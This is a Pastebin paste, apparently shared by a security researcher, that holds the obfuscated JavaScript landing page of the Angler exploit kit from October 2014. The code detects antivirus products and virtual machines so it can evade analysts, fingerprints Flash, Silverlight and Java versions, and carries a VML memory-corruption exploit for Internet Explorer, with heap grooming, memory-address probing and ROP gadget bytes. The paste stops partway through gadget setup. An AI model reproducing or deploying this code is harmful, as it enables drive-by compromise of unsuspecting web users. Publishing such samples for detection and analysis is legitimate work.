Advertisement
Kafeine

AnglerEK__Landing_2014-10-11

Oct 11th, 2014
823
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.   function Target() {
  2.       window['gsXw'] = true;
  3.       ELSftvJB = '';
  4.       window.sf325gtgs7sfdj = window.sf325gtgs7sfds = window.sf325gtgs7sfdf1 = window.sf325gtgs7sfdf2 = false;
  5.   }
  6.  
  7.   function gs7sfd(txt) {
  8.       var v1 = 'XM' + 'LD' + 'OM',
  9.           v2 = 'pa' + 'rseE' + 'rr' + 'or',
  10.           v3 = 'loa' + 'dX' + 'ML',
  11.           v4 = 'DT' + 'D X' + 'HTML 1.0 Transitional',
  12.           v5 = 'err' + 'orC' + 'ode';
  13.       var resInf = new ActiveXObject("Microsoft." + v1),
  14.           subpath = "c:\\Windows\\System32\\drivers\\" + txt + ".sys";
  15.       resInf.async = true;
  16.       resInf[v3]('<!DOCTYPE html PUBLIC "-//W3C//' + v4 + '//EN" "res://' + subpath + '">');
  17.       if (resInf[v2][v5] != 0) {
  18.           var pe = resInf[v2],
  19.               err = "Error Code: " + pe[v5] + "\n";
  20.           err += "Error Reason: " + pe.reason;
  21.           err += "Error Line: " + pe.line;
  22.           if (err.indexOf("-2147023083") > 0) {
  23.               return 1;
  24.           } else {
  25.               return 0;
  26.           }
  27.       }
  28.       return 0;
  29.   }
  30.   var tmp;
  31.   try {
  32.       tmp = new ActiveXObject('Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.1');
  33.   } catch (e) {
  34.       tmp = false;
  35.   }
  36.   if (tmp || gs7sfd("kl1") || gs7sfd("tmactmon") || gs7sfd("tmcomm") || gs7sfd("tmevtmgr") || gs7sfd("TMEBC32") || gs7sfd("tmeext") || gs7sfd("tmnciesc") || gs7sfd("tmtdi") || gs7sfd("vm3dmp") || gs7sfd("vmusbmouse") || gs7sfd("vmmouse") || gs7sfd("vmhgfs") || gs7sfd("VBoxGuest") || gs7sfd("VBoxMouse") || gs7sfd("VBoxSF") || gs7sfd("VBoxVideo") || gs7sfd("prl_boot") || gs7sfd("prl_fs") || gs7sfd("prl_kmdd") || gs7sfd("prl_memdev") || gs7sfd("prl_mouf") || gs7sfd("prl_pv32") || gs7sfd("prl_sound") || gs7sfd("prl_strg") || gs7sfd("prl_tg") || gs7sfd("prl_time")) {
  37.       Target();
  38.   } else {
  39.       function Check(s) {
  40.           x = new Image();
  41.           x.onload = Target;
  42.           x.src = s;
  43.           return 0;
  44.       }
  45.       var kv1 = "res://C:\\Program Files",
  46.           kv2 = "\\Kaspersky Lab\\Kaspersky ",
  47.           kv3 = "Anti-Virus ",
  48.           kv4 = "Internet Security ",
  49.           kv5 = "\\shellex.dll/#2/#102",
  50.           kv6 = "\\mfc42.dll/#2/#26567",
  51.           pathdata = [kv1 + kv2 + kv3 + '5.0 for Windows Workstations' + kv5, kv1 + kv2 + kv3 + '6.0 for Windows Workstations' + kv5, kv1 + kv2 + kv3 + '6.0' + kv5, kv1 + kv2 + kv3 + '7.0' + kv5, kv1 + kv2 + kv3 + '2009' + kv6, kv1 + kv2 + kv3 + '2010' + kv6, kv1 + kv2 + kv3 + '2011\\avzkrnl.dll/#2/BBALL', kv1 + kv2 + kv3 + '2012\\x86' + kv6, kv1 + kv2 + kv3 + '2013\\x86' + kv6, kv1 + kv2 + kv4 + '6.0' + kv5, kv1 + kv2 + kv4 + '7.0' + kv5, kv1 + kv2 + kv4 + '2009' + kv6, kv1 + kv2 + kv4 + '2010' + kv6, kv1 + kv2 + kv4 + '2011\\avzkrnl.dll/#2/BBALL', kv1 + kv2 + kv4 + '2012\\x86' + kv6, kv1 + kv2 + kv4 + '2013\\x86' + kv6, kv1 + kv2 + kv4 + '14.0.0\\x86' + kv6, kv1 + kv2 + kv4 + '15.0.0\\x86' + kv6, kv1 + kv2 + 'PURE' + kv6, kv1 + kv2 + 'PURE 2.0\\x86' + kv6, kv1 + kv2 + 'PURE 3.0\\x86' + kv6, kv1 + ' (x86)' + kv2 + kv3 + '2013\\x86' + kv6, kv1 + ' (x86)' + kv2 + kv4 + '2013\\x86' + kv6, kv1 + ' (x86)' + kv2 + 'PURE' + kv6, kv1 + ' (x86)' + kv2 + 'PURE 2.0\\x86' + kv6, kv1 + ' (x86)' + kv2 + 'PURE 3.0\\x86' + kv6, 'res://C:\\Program Files\\VMware\\VMware Tools\\TPAutoConnSvc.exe/#2/#26567', 'res://C:\\Program Files\\VMware\\VMware Tools\\TPAutoConnSvc.exe/#2/#30996', 'res://C:\\Program Files\\Oracle\\VirtualBox Guest Additions\\uninst.exe/#2/#110', 'res://C:\\Program Files\\Parallels\\Parallels Tools\\Applications\\setup_nativelook.exe/#2/#204'];
  52.       for (var i = 0; i < pathdata.length; ++i) Check(pathdata[i]);
  53.  
  54.       function pausecomp(millis) {
  55.           var date = new Date();
  56.           var curDate = null;
  57.           do {
  58.               curDate = new Date();
  59.           } while (curDate - date < millis);
  60.       }
  61.       pausecomp(1000);
  62.   }
  63.   if (!Array.prototype.indexOf) {
  64.       Array.prototype.indexOf = function(obj, start) {
  65.           for (var i = (start || 0), j = this.length; i < j; i++) {
  66.               if (this[i] === obj) {
  67.                   return i;
  68.               }
  69.           }
  70.           return -1;
  71.       };
  72.   }
  73.   window.BbGdosiW = new Function('text', "var cryptKey = SCZEchnm1SCZEchnm3, rawArray = cryptKey.split(''), sortArray = cryptKey.split(''), keyArray=[];sortArray.sort(); var keySize = sortArray.length;for (var i=0; i<keySize; i++) {keyArray.push(rawArray.indexOf(sortArray[i]));}var k = keySize - text.length % keySize;for(var l = 0; l<k;l++) {text += ' ';} var endStr = '', i,j,line,newLine;for (i = 0; i < text.length; i += keySize) {line = text.substr(i,keySize).split('');newLine = '';for (j = 0; j < keySize; j++){newLine += line[keyArray[j]];}endStr = endStr + newLine;}endStr=endStr.replace(/\\s/g,'');return endStr;");
  74.   var xObjectName = 'ActiveXObject';
  75.   var xObject = window[xObjectName];
  76.   var AgControl = 'AgControl.AgControl';
  77.  
  78.   function silverVersion(value) {
  79.       var nav = navigator.plugins["Silverlight Plug-In"];
  80.       if (nav) {
  81.           return testVersion(nav.description);
  82.       } else {
  83.           try {
  84.               var control = new ActiveXObject('AgControl.AgControl');
  85.               var vers = Array(1, 0, 0, 0);
  86.               loopVersion(control, vers, 0, 1);
  87.               loopVersion(control, vers, 1, 1);
  88.               loopVersion(control, vers, 2, 10000);
  89.               loopVersion(control, vers, 2, 1000);
  90.               loopVersion(control, vers, 2, 100);
  91.               loopVersion(control, vers, 2, 10);
  92.               loopVersion(control, vers, 2, 1);
  93.               loopVersion(control, vers, 3, 1);
  94.               return testVersion(vers.join('.'));
  95.           } catch (e) {
  96.               return testVersion(false);
  97.           }
  98.       }
  99.  
  100.       function testVersion(currentVersion) {
  101.           if (!currentVersion) return currentVersion;
  102.           if (parseInt(String(currentVersion).replace(/\./g, '')) > parseInt(String(value).replace(/\./g, ''))) return 1;
  103.           if (parseInt(String(currentVersion).replace(/\./g, '')) == parseInt(String(value).replace(/\./g, ''))) return 0;
  104.           if (parseInt(String(currentVersion).replace(/\./g, '')) < parseInt(String(value).replace(/\./g, ''))) return -1;
  105.       }
  106.  
  107.       function loopVersion(control, vers, idx, inc) {
  108.           while (IsSupported(control, vers)) {
  109.               vers[idx] += inc;
  110.           }
  111.           vers[idx] -= inc;
  112.       }
  113.  
  114.       function IsSupported(control, ver) {
  115.           return control.isVersionSupported(ver[0] + "." + ver[1] + "." + ver[2] + "." + ver[3]);
  116.       }
  117.   }
  118.  
  119.   function flashVersion(versionValue) {
  120.       var a = !1,
  121.           res, ver = bSamp(versionValue);
  122.  
  123.       function bSamp(num) {
  124.           function beautify(match, number) {
  125.               var res = "000" + match;
  126.               return (res).substr(res.length - 3)
  127.           }
  128.           var n = num.split(".");
  129.           result = n[0] + n[1].replace(/\d+/g, beautify) + n[2].replace(/\d+/g, beautify);
  130.           return n.length > 3 ? result + n[3].replace(/\d+/g, beautify) : result;
  131.       }
  132.  
  133.       function version(b) {
  134.           if (!b) {
  135.               return null
  136.           };
  137.           b = bSamp(String(b).replace(/^[^0-9]+/g, '').replace(/[^0-9\.]/g, '.').replace(/\.+/g, '.').replace(/\,/g, '.'));
  138.           if (!b) {
  139.               return null
  140.           };
  141.           var verTest = parseInt(ver.substr(0, b.length));
  142.           if (parseInt(b) > verTest) {
  143.               return 1;
  144.           }
  145.           if (parseInt(b) == verTest) {
  146.               return 0;
  147.           }
  148.           return -1;
  149.       }
  150.  
  151.       function createFlash() {
  152.           var obj = document.createElement("object"),
  153.               newDiv = document.createElement("div"),
  154.               id = String("flash" + new Date()).replace(/\s|\+|\:/g, '');
  155.           newDiv.style.cssText = 'position:absolute;top:-1000px;left:-1000px;';
  156.           obj.setAttribute("type", "application/x-shockwave-flash");
  157.           obj.style.cssText = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;display:inline;width:1px;height:1px";
  158.           obj.setAttribute("width", "1");
  159.           obj.setAttribute("id", id);
  160.           obj.setAttribute("height", "1");
  161.           obj.id = id;
  162.           newDiv.appendChild(obj);
  163.           document.body.appendChild(newDiv);
  164.           result = String(obj.GetVariable("$version"));
  165.           return result;
  166.       }
  167.       if (navigator.plugins && navigator.plugins.length) {
  168.           var e = navigator.plugins["Shockwave Flash"];
  169.           e && (a = !0, e.description && (b = e.description));
  170.           navigator.plugins["Shockwave Flash 2.0"] && (a = !0, b = "2.0.0.11");
  171.           res = version(b);
  172.           if (res > 0 || res < 0) return res;
  173.           try {
  174.               return version(createFlash());
  175.           } catch (e) {
  176.               return;
  177.           }
  178.       } else {
  179.           if (navigator.mimeTypes && navigator.mimeTypes.length) {
  180.               var f = navigator.mimeTypes["application/x-shockwave-flash"];
  181.               (a = f && f.enabledPlugin) && (b = f.enabledPlugin.description);
  182.               res = version(b);
  183.               if (res > 0 || res < 0) return res;
  184.               try {
  185.                   return version(createFlash());
  186.               } catch (e) {
  187.                   return;
  188.               }
  189.           } else {
  190.               try {
  191.                   var g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7"),
  192.                       a = !0,
  193.                       b = g.GetVariable("$version");
  194.                   return version(b);
  195.               } catch (h) {
  196.                   try {
  197.                       g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6"), a = !0, b = "6.0.21";
  198.                       return;
  199.                   } catch (i) {
  200.                       try {
  201.                           g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash"), a = !0, b = g.GetVariable("$version");
  202.                           return version(b);
  203.                       } catch (j) {}
  204.                   }
  205.               }
  206.           }
  207.       }
  208.       return;
  209.   }
  210.   if ((flashVersion("11.3.300.257") >= 0 && flashVersion("11.7.700.275") <= 0) || (flashVersion("11.8.800.94") >= 0 && flashVersion("13.0.0.182") <= 0)) {
  211.       window.sf325gtgs7sfdf1 = true;
  212.   } else {
  213.       if (flashVersion("13.0.0.182") > 0) {
  214.           window.sf325gtgs7sfdf2 = true;
  215.       }
  216.       var minValue = silverVersion("4.0.50401.0"),
  217.           maxValue = silverVersion("5.1.10411.0"),
  218.           currentValue = silverVersion("5.0.60818.0");
  219.       if (typeof(minValue) != 'undefined' && typeof(maxValue) != 'undefined' && typeof(currentValue) != 'undefined' && minValue >= 0 && maxValue <= 0 && currentValue != 0) {
  220.           window.sf325gtgs7sfds = true;
  221.       }
  222.   }
  223.   if (navigator.javaEnabled()) {
  224.       window.sf325gtgs7sfdj = true;
  225.   }
  226.   var Browser = {
  227.       Version: function() {
  228.           try {
  229.               var birks = /malware.dontneedcoffee.com/.test();
  230.           } catch (e) {}
  231.           var version = 999;
  232.           if (navigator.appVersion.indexOf("MSIE") != -1) version = parseFloat(navigator.appVersion.split("MSIE")[1]);
  233.           return version;
  234.       }
  235.   };
  236.   if (!window.sf325gtgs7sfdj && !window.sf325gtgs7sfds && !window.sf325gtgs7sfdf1 && !window.sf325gtgs7sfdf2 && (Browser.Version() > 10)) {
  237.       var urlName = BbGdosiW(SCZEchnw1SCZEchnw3);
  238.       document.location.href = "/" + urlName;
  239.   }
  240.  
  241.   function gs7sfd(txt) {
  242.       var v1 = 'XM' + 'LD' + 'OM',
  243.           v2 = 'pa' + 'rseE' + 'rr' + 'or',
  244.           v3 = 'loa' + 'dX' + 'ML',
  245.           v4 = 'DT' + 'D X' + 'HTML 1.0 Transitional',
  246.           v5 = 'err' + 'orC' + 'ode';
  247.       var resInf = new ActiveXObject("Microsoft." + v1),
  248.           subpath = "c:\\Windows\\System32\\drivers\\" + txt + ".sys";
  249.       resInf.async = true;
  250.       resInf[v3]('<!DOCTYPE html PUBLIC "-//W3C//' + v4 + '//EN" "res://' + subpath + '">');
  251.       if (resInf[v2][v5] != 0) {
  252.           var pe = resInf[v2],
  253.               err = "Error Code: " + pe[v5] + "\n";
  254.           err += "Error Reason: " + pe.reason;
  255.           err += "Error Line: " + pe.line;
  256.           if (err.indexOf("-2147023083") > 0) {
  257.               return 1;
  258.           } else {
  259.               return 0;
  260.           }
  261.       }
  262.       return 0;
  263.   }
  264.   var stopFlag;
  265.   if (gs7sfd("SYMEVENT")) {
  266.       stopFlag = true;
  267.   } else {
  268.       try {
  269.           var stopFlag = new ActiveXObject("Symantec.IPS.WebProtection.1");
  270.       } catch (e) {
  271.           stopFlag = false;
  272.       }
  273.       if (!stopFlag) {
  274.           function Target() {
  275.               stopFlag = true;
  276.           }
  277.  
  278.           function Check(s) {
  279.               x = new Image();
  280.               x.onload = Target;
  281.               x.src = s;
  282.               return 0;
  283.           }
  284.           pathdata = ["res://C:\\Program Files\\Norton Internet Security\\Engine\\21.1.0.18\\asOEHook.dll/#2/#102", "res://C:\\Program Files\\Norton Internet Security\\Engine\\21.6.0.32\\asOEHook.dll/#2/#102"];
  285.           for (var i = 0; i < pathdata.length; ++i) Check(pathdata[i]);
  286.  
  287.           function pauseIt(millis) {
  288.               var date = new Date();
  289.               var curDate = null;
  290.               do {
  291.                   curDate = new Date();
  292.               } while (curDate - date < millis);
  293.           }
  294.           pauseIt(1000);
  295.       }
  296.   }
  297.   if (!stopFlag) {
  298.       var KjvJz79wOcknIk, EwQt49wsx, W71hiUP54i, ZgiZVuiZdA3uFMl1, YB97F2CK, SkObR323tjcP8j, LbxUppE3l4a32j1, F5ZuzHKSq4, R3u39RNOiqw1Lh9, UHncRxfu0, J898C7otcqj1z1a = [];
  299.  
  300.       function O8AFxXJ3K76qjGe(line) {
  301.           var result = "",
  302.               array = line.match(/(..)/g);
  303.           for (var i = 0; i < array.length; i++) {
  304.               result += String[F5FoaGw26](parseInt(array[i], 32) / 2);
  305.           }
  306.           var SnkDxt = navigator.userAgent.toLowerCase();
  307.           var k = /trident[\/\s]\d+/i.test(SnkDxt) || /msie[\/\s]\d+/i.test(SnkDxt);
  308.           return !k ? line : result;
  309.       };
  310.       var Sy8xIcKqy6o = 'push',
  311.           ds = "#",
  312.           ZNiyt1 = 'Code',
  313.           ZNiyt2 = 'mChar',
  314.           sh = 'sh' + 'r' + 'ape',
  315.           F5FoaGw26 = 'fro' + ZNiyt2 + ZNiyt1;
  316.       sh = sh.replace('r', ''), W71hiUP54i = 'cssText', Z4ywiwk9hGk6X = O8AFxXJ3K76qjGe('6u7c626o'), X9stbNNzs4 = O8AFxXJ3K76qjGe('7678746u6m6a'), EwQt49wsx = O8AFxXJ3K76qjGe('66746a62786a56787i6o6a566g6a6a78'), KjvJz79wOcknIk = "GetUrl123", d2 = '4q4o', d4 = '666a76', d3 = '6a767062';
  317.       YB97F2CK = 'nam' + O8AFxXJ3K76qjGe(d3) + O8AFxXJ3K76qjGe(d4), SkObR323tjcP8j = 'V3m2xe3zOi', W3701HBo = ['ml', O8AFxXJ3K76qjGe('6u6c782q666u6q3k7c'), 'cros', O8AFxXJ3K76qjGe('6g6a6q62762q6q6i'), O8AFxXJ3K76qjGe('6s3k7666'), 'ur'], LbxUppE3l4a32j1 = W3701HBo.reverse().join(''), Z6LmVz90ipjw93P = 'behavior:url', R3u39RNOiqw1Lh9 = ds + O8AFxXJ3K76qjGe('686a6c627a6o78') + ds + 'V' + O8AFxXJ3K76qjGe(d2), UHncRxfu0 = 'V3m2xe3zOi' + '' + O8AFxXJ3K76qjGe('3k2k207m20646a6g627c6i6u743k7a746o2g') + ds + O8AFxXJ3K76qjGe('686a6c627a6o78') + ds + 'V' + O8AFxXJ3K76qjGe('4q4o2i3m20686i76706o627i3k206i6s6o6i6s6a2q646o6u666m3m207q'), F5ZuzHKSq4 = 'V3m2xe3zOi:' + sh, J898C7otcqj1z1a = ['LbxUppE3l4a32j1', LbxUppE3l4a32j1, R3u39RNOiqw1Lh9], J898C7otcqj1z1a[Sy8xIcKqy6o](R3u39RNOiqw1Lh9);
  318.       ZgiZVuiZdA3uFMl1 = document[YB97F2CK];
  319.       try {
  320.           wondow.docume() = LbxUppE3l4a32j1;
  321.       } catch (e) {
  322.           try {
  323.               ZgiZVuiZdA3uFMl1.add(SkObR323tjcP8j, J898C7otcqj1z1a[1], J898C7otcqj1z1a[3]);
  324.           } catch (e) {}
  325.       }
  326.       document[EwQt49wsx]()[W71hiUP54i] = UHncRxfu0;
  327.       window[KjvJz79wOcknIk] = function() {
  328.           return BbGdosiW(SCZEchni1SCZEchni3)
  329.       };
  330.       var v1 = "<V3m2xe3zOi:" + Z4ywiwk9hGk6X + "><V3m2xe3zOi:" + X9stbNNzs4 + " id='CpRhJqPpKxESasM'></V3m2xe3zOi:" + X9stbNNzs4 + "></V3m2xe3zOi:" + Z4ywiwk9hGk6X + ">";
  331.       var v2 = "<V3m2xe3zOi:" + Z4ywiwk9hGk6X + "><V3m2xe3zOi:" + X9stbNNzs4 + " id='OY9eP8SuqI'></V3m2xe3zOi:" + X9stbNNzs4 + "></V3m2xe3zOi:" + Z4ywiwk9hGk6X + ">";
  332.       document.body.insertAdjacentHTML('afterbegin', v1);
  333.       document.body.insertAdjacentHTML('afterbegin', v2);
  334.       KDU865ifr4S = [];
  335.       EtU7otC6G9FSoRUZ = [];
  336.       PeaB2kUh = [];
  337.       var MOqp7tD2T3n = [],
  338.           BymAkyw58u3Jn2PF = null,
  339.           OX1xmlu97 = null,
  340.           IMaTmxxzc36V = null,
  341.           Xl9CaSo0 = null,
  342.           ZeMjENCmd6hkz3K = null,
  343.           Xr8Am6o75g = null,
  344.           Kieeuz4o = null,
  345.           D2mlbzC5 = null,
  346.           FsrY3ye0ghx = null,
  347.           T1b76Fhwicxxk1gy = O8AFxXJ3K76qjGe('686276') + 'hs' + 'tyle',
  348.           Fyp6g9dW3i05 = O8AFxXJ3K76qjGe('666g6274466u686a4278'),
  349.           W63qI9rMjPsxRDL = 'fromCharCode',
  350.           BHjf8n2iA4ww32 = O8AFxXJ3K76qjGe('746u7862786i6u6s'),
  351.           PLtqUAmnm8Fwp = O8AFxXJ3K76qjGe('706274766a4i6s78'),
  352.           Ewmrn97LKlE0so8 = document,
  353.           T1afqxgKWn2ys0i1 = O8AFxXJ3K76qjGe('6e6a784a6o6a6q6a6s78447i4i68'),
  354.           V2lQk5H09F4d = O8AFxXJ3K76qjGe('7a6s6a766662706a'),
  355.           BVpHfqTN = 'body',
  356.           Zof0a9vxpaH9meO7 = O8AFxXJ3K76qjGe('6270706a6s68466g6i6o68'),
  357.           OAqMbEfXPluegi = O8AFxXJ3K76qjGe('66746a62786a4a6o6a6q6a6s78'),
  358.           Mfq30y0aA7r5xo = '_' + 'vgR' + 'unti' + 'meS' + 'tyle',
  359.           Ibw95c3ku6 = String,
  360.           OCMx1fzSoboWleeu = '',
  361.           L3lP8xjN2zbaU = '',
  362.           H6TKi1mnySp1X3 = '',
  363.           ZIr5VU69Nd4o4 = '',
  364.           YLyIzVBMySSP = '',
  365.           ZlDwd7p7yf2di = 'array',
  366.           YSwqcqF2p2F9 = null,
  367.           V2ER1HgJ0ucnh9LP = null,
  368.           NegMwvrF = null,
  369.           El2V14q6Xub66U = null,
  370.           AvUGy4Jovj = null,
  371.           Jvkwu13ly1 = null,
  372.           RJ1N6903yv = null;
  373.       GmJTzuE37u4Y = 0;
  374.       KfzedQ6HdvNia = false;
  375.  
  376.       function Uvjcsmq41H9d(HH1eaPTlF8Md6t) {
  377.           return parseInt(HH1eaPTlF8Md6t)
  378.       }
  379.  
  380.       function AP1Uz7jluL5(HH1eaPTlF8Md6t) {
  381.           return window[V2lQk5H09F4d](HH1eaPTlF8Md6t)
  382.       }
  383.  
  384.       function CsAmk0dmtdPuOC60(HH1eaPTlF8Md6t) {
  385.           return Ibw95c3ku6[W63qI9rMjPsxRDL](HH1eaPTlF8Md6t)
  386.       }
  387.  
  388.       function OLrKvJ519(Gnv, UNsjr, ZJF) {
  389.           if (Gnv.length < UNsjr.length) {
  390.               return -1
  391.           }
  392.           if (ZJF) {
  393.               if (Gnv.substr(Gnv[Fyp6g9dW3i05](0) == 0 ? 1 : 0, UNsjr.length) == UNsjr) {
  394.                   return 0
  395.               }
  396.           } else {
  397.               var B6g8 = Gnv.length - UNsjr.length;
  398.               if (Gnv[Fyp6g9dW3i05](Gnv.length - 1) == 0) {
  399.                   B6g8++
  400.               }
  401.               if (Gnv.substr(B6g8, UNsjr.length) == UNsjr) {
  402.                   return B6g8
  403.               }
  404.           }
  405.           return -1
  406.       }
  407.  
  408.       function Edw75mqk() {
  409.           try {
  410.               var Mcs = navigator.userAgent.toLowerCase();
  411.               var ORZIr = /MSIE[\/\s]\d+/i.test(Mcs);
  412.               var FGOmO = /WOW64;/i.test(Mcs);
  413.               var YcL6 = /Win64;/i.test(Mcs);
  414.               var WO9 = /Trident\/(\d)/i.test(Mcs) ? parseInt(RegExp.$1) : null;
  415.               if (!YcL6 && ORZIr) {
  416.                   GmJTzuE37u4Y = WO9;
  417.                   KfzedQ6HdvNia = FGOmO;
  418.                   return true
  419.               }
  420.           } catch (e) {}
  421.           return false
  422.       }
  423.  
  424.       function WeH4Xlw3(ZUMbw) {
  425.           var D3nglz = '';
  426.           for (var UE59i = 0; UE59i < ZUMbw.length; UE59i++) {
  427.               var DY6aLG = ZUMbw[Fyp6g9dW3i05](UE59i);
  428.               D3nglz += Ibw95c3ku6[W63qI9rMjPsxRDL](DY6aLG & 0xff);
  429.               D3nglz += Ibw95c3ku6[W63qI9rMjPsxRDL]((DY6aLG & 0xff00) >> 8)
  430.           }
  431.           return D3nglz
  432.       }
  433.  
  434.       function Rdtyyrc4(GLqa2) {
  435.           var A0trA6 = '';
  436.           if (GLqa2.length % 2) {
  437.               GLqa2 += AP1Uz7jluL5('%00')
  438.           }
  439.           for (var KOCEUe = 0; KOCEUe < GLqa2.length; KOCEUe += 2) {
  440.               A0trA6 += '%u';
  441.               A0trA6 += If2zqk7iLg(GLqa2[Fyp6g9dW3i05](KOCEUe + 1), 2);
  442.               A0trA6 += If2zqk7iLg(GLqa2[Fyp6g9dW3i05](KOCEUe), 2)
  443.           }
  444.           return A0trA6
  445.       }
  446.  
  447.       function DjnkYHmeZkaPOCs3(ExmjV5) {
  448.           return WeH4Xlw3(AP1Uz7jluL5(L0ZwspPk6YLU9oxi(ExmjV5)))
  449.       }
  450.  
  451.       function L0ZwspPk6YLU9oxi(X3xa) {
  452.           var ScPc = X3xa & 0xFFFF;
  453.           var W23H8W = (X3xa >> 16) & 0xFFFF;
  454.           return '%u' + If2zqk7iLg(ScPc, 4) + '%u' + If2zqk7iLg(W23H8W, 4)
  455.       }
  456.  
  457.       function I49vaw94Gq013(HxAx9) {
  458.           Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(0x44) = HxAx9;
  459.           return EtU7otC6G9FSoRUZ[Xl9CaSo0].marginLeft
  460.       }
  461.  
  462.       function If2zqk7iLg(DTgKyo, EN8r) {
  463.           var Den0ge = DTgKyo.toString(16);
  464.           while (Den0ge.length < EN8r) {
  465.               Den0ge = '0' + Den0ge
  466.           }
  467.           return Den0ge
  468.       }
  469.  
  470.       function GyndIia0COc9e670(PiG2e) {
  471.           var Ht1tU = '';
  472.           if (PiG2e.length > 1) {
  473.               Ht1tU = If2zqk7iLg(PiG2e[Fyp6g9dW3i05](1), 4) + If2zqk7iLg(PiG2e[Fyp6g9dW3i05](0), 4)
  474.           } else {
  475.               Ht1tU = If2zqk7iLg(PiG2e[Fyp6g9dW3i05](0), 4)
  476.           }
  477.           return parseInt(Ht1tU, 16)
  478.       }
  479.  
  480.       function YhLakn4qdA(Kve63) {
  481.           for (var Ylu = 0; Ylu < 3; Ylu++) {
  482.               var NcykIw = I49vaw94Gq013(Kve63 + Ylu);
  483.               if (NcykIw) {
  484.                   var Mnml = GyndIia0COc9e670(NcykIw);
  485.                   Mnml <<= Ylu * 8;
  486.                   return Mnml
  487.               }
  488.           }
  489.           return 0
  490.       }
  491.  
  492.       function BMn17Gy5Z7i() {
  493.           var W0MnO2 = YhLakn4qdA(0x7ffe0268) & 0x0f;
  494.           var Xh4fNW = W0MnO2 ? YhLakn4qdA(0x7ffe0264) : null;
  495.           var Csy = YhLakn4qdA(0x7ffe026c);
  496.           var SQ5 = YhLakn4qdA(0x7ffe0270);
  497.           if (Csy == 5 && (SQ5 == 1 || SQ5 == 2) && Xh4fNW == 1) {
  498.               return 1
  499.           } else if (Csy == 6 && SQ5 == 0 && Xh4fNW == 1) {
  500.               return 2
  501.           } else if (Csy == 6 && SQ5 == 1 && Xh4fNW == 1) {
  502.               return 3
  503.           } else {
  504.               return 0
  505.           }
  506.       }
  507.  
  508.       function Ragygq8pm() {
  509.           return KfzedQ6HdvNia ? YhLakn4qdA(0x7ffe0340) : YhLakn4qdA(0x7ffe0300);
  510.       }
  511.  
  512.       function V9rsl4L9kg(Mxeo3) {
  513.           var Sw8r = null;
  514.           if (Mxeo3) {
  515.               Mxeo3 &= 0xffff0000;
  516.               while (1) {
  517.                   if ((YhLakn4qdA(Mxeo3) & 0xffff) == 0x5a4d) {
  518.                       Sw8r = Mxeo3;
  519.                       break
  520.                   }
  521.                   Mxeo3 -= 0x10000
  522.               }
  523.               if (Sw8r) {
  524.                   var VL5txU = Sw8r + YhLakn4qdA(Sw8r + 0x3c);
  525.                   if (YhLakn4qdA(VL5txU) == 0x4550) {
  526.                       var J2qlu = YhLakn4qdA(VL5txU + 0x1c);
  527.                       var VTqA = YhLakn4qdA(VL5txU + 0x2c);
  528.                       if (J2qlu && VTqA) {
  529.                           return {
  530.                               FI5op6aJ: Sw8r + VTqA,
  531.                               UAZ183qaMhVjxaDk: Sw8r + VTqA + J2qlu
  532.                           }
  533.                       }
  534.                   }
  535.               }
  536.           }
  537.           return null
  538.       }
  539.  
  540.       function GPLa6YPe7ix9lJj() {
  541.           for (var McdHw = 0; McdHw < 0x400; McdHw++) {
  542.               KDU865ifr4S[McdHw] = document.createElement('V3m2xe3zOi:shape');
  543.               document.body[Zof0a9vxpaH9meO7](KDU865ifr4S[McdHw])
  544.           }
  545.           Co25UX2t3GtQLt = Ewmrn97LKlE0so8[T1afqxgKWn2ys0i1]('CpRhJqPpKxESasM');
  546.           for (var McdHw = 0; McdHw < 0x400; McdHw++) {
  547.               EtU7otC6G9FSoRUZ[McdHw] = KDU865ifr4S[McdHw][Mfq30y0aA7r5xo];
  548.           }
  549.           for (var McdHw = 0; McdHw < 0x400; McdHw++) {
  550.               try {
  551.                   EtU7otC6G9FSoRUZ[McdHw][BHjf8n2iA4ww32];
  552.               } catch (e) {}
  553.               if (McdHw == 0x300) {
  554.                   Co25UX2t3GtQLt[T1b76Fhwicxxk1gy] = '1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44';
  555.               }
  556.           }
  557.           Xr8Am6o75g = Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].length;
  558.           try {
  559.               Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].length = 0 - 1
  560.           } catch (Gtgu) {
  561.               return false
  562.           }
  563.           Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].length = 0x45;
  564.           for (var McdHw = 0; McdHw < 0x400; McdHw++) {
  565.               EtU7otC6G9FSoRUZ[McdHw].marginLeft = 'a';
  566.               var KH3Hb = Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(0x44);
  567.               if (KH3Hb > 0) {
  568.                   ZeMjENCmd6hkz3K = KH3Hb;
  569.                   Xl9CaSo0 = McdHw;
  570.                   return true
  571.               }
  572.           }
  573.           return false
  574.       }
  575.  
  576.       function NybDPXI4I4() {
  577.           if (Co25UX2t3GtQLt) {
  578.               if (ZeMjENCmd6hkz3K) {
  579.                   Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(0x44) = ZeMjENCmd6hkz3K
  580.               }
  581.               Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].length = Xr8Am6o75g
  582.           }
  583.       }
  584.  
  585.       function MpjCkJerL0Y4ucz() {
  586.           var Uu7, VfD, AjJJiu;
  587.           if (!Edw75mqk()) {
  588.               return;
  589.           }
  590.           var T4q = BMn17Gy5Z7i();
  591.           if (T4q == 0) {
  592.               return
  593.           }
  594.           var WqoTq = Ragygq8pm();
  595.           if (!WqoTq) {
  596.               return
  597.           }
  598.           var G1cL0 = V9rsl4L9kg(WqoTq);
  599.           if (!G1cL0) {
  600.               return
  601.           }
  602.           var HYc2O = AP1Uz7jluL5('%94%c3');
  603.           var GLm = AP1Uz7jluL5('%5a%c3');
  604.           var TZxtP = AP1Uz7jluL5('%ff%06%c3');
  605.           var F5O00n = AP1Uz7jluL5('%ff%07%c3');
